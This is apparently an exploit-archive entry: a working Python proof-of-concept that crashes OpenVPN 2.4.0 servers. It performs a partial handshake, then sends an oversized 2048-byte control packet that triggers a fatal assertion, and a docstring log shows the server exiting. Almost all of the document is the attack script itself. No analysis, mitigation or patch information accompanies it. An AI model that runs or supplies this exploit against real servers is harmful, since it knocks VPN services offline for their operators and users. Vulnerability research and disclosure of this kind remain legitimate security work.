OpenVPN 2.4.0 Denial Of Service

`#!/usr/bin/env python3  
'''  
$ ./dos_server.py &  
$ sudo ./openvpn-2.4.0/src/openvpn/openvpn conf/server-tls.conf  
...  
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 TLS: Initial packet from [AF_INET]192.168.149.1:64249, sid=9a6c48a6 1467f5e1  
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 Assertion failed at ssl.c:3711 (buf_copy(in, buf))  
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 Exiting due to fatal error  
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 /sbin/route del -net 10.8.0.0 netmask 255.255.255.0  
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 Closing TUN/TAP interface Fri Feb 24 10:19:19 2017 192.168.149.1:64249 /sbin/ifconfig tun0 0.0.0.0  
'''  
  
import binascii  
import os  
import socket  
from construct import *  
HOST, PORT = "192.168.0.1", 1194  
  
SessionID = Bytes(8)  
  
PControlV1 = Struct(  
"packet_id" / Int32ub,  
"data" / GreedyBytes  
)  
  
PAckV1 = Struct(  
"remote_session_id" / SessionID  
)  
  
PControlHardResetClientV2 = Struct(  
"packet_id" / Int32ub  
)  
  
PControlHardResetServerV2 = Struct(  
"remote_session_id" / SessionID,  
"packet_id" / Int32ub  
)  
  
OpenVPNPacket = Struct(  
EmbeddedBitStruct(  
"opcode" / Enum(BitsInteger(5),  
P_CONTROL_HARD_RESET_CLIENT_V1=1,  
P_CONTROL_HARD_RESET_SERVER_V1=2,  
P_CONTROL_HARD_RESET_CLIENT_V2=7,  
P_CONTROL_HARD_RESET_SERVER_V2=8,  
P_CONTROL_SOFT_RESET_V1=3,  
P_CONTROL_V1=4,  
P_ACK_V1=5,  
P_DATA_V1=6),  
"key_id" / BitsInteger(3)  
),  
"session_id" / SessionID,  
"ack_packets" / PrefixedArray(Int8ub, Int32ub),  
Embedded(Switch(this.opcode,  
{  
"P_CONTROL_V1": PControlV1,  
"P_ACK_V1": PAckV1,  
"P_CONTROL_HARD_RESET_CLIENT_V2": PControlHardResetClientV2,  
"P_CONTROL_HARD_RESET_SERVER_V2": PControlHardResetServerV2  
}))  
)  
def main():  
session_id = os.urandom(8)  
  
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
reset_client = OpenVPNPacket.build({  
"opcode": "P_CONTROL_HARD_RESET_CLIENT_V2",  
"key_id": 0,  
"session_id": session_id,  
"ack_packets": [],  
"packet_id": 0})  
  
sock.sendto(reset_client, (HOST, PORT))  
  
data, addr = sock.recvfrom(8192)  
reset_server = OpenVPNPacket.parse(data)  
  
remote_session_id = reset_server.session_id  
  
# ack server packet  
ack_packet = OpenVPNPacket.build({  
"opcode": "P_ACK_V1",  
"key_id": 0,  
"session_id": session_id,  
"ack_packets": [reset_server.packet_id],  
"remote_session_id": remote_session_id  
})  
sock.sendto(ack_packet, (HOST, PORT))  
  
control_packet = OpenVPNPacket.build({  
"opcode": "P_CONTROL_V1",  
"key_id": 0,  
"session_id": session_id,  
"ack_packets": [],  
"packet_id": 1,  
"data": b"a" * 2048})  
sock.sendto(control_packet, (HOST, PORT))  
  
if __name__ == '__main__':  
main()  
  
`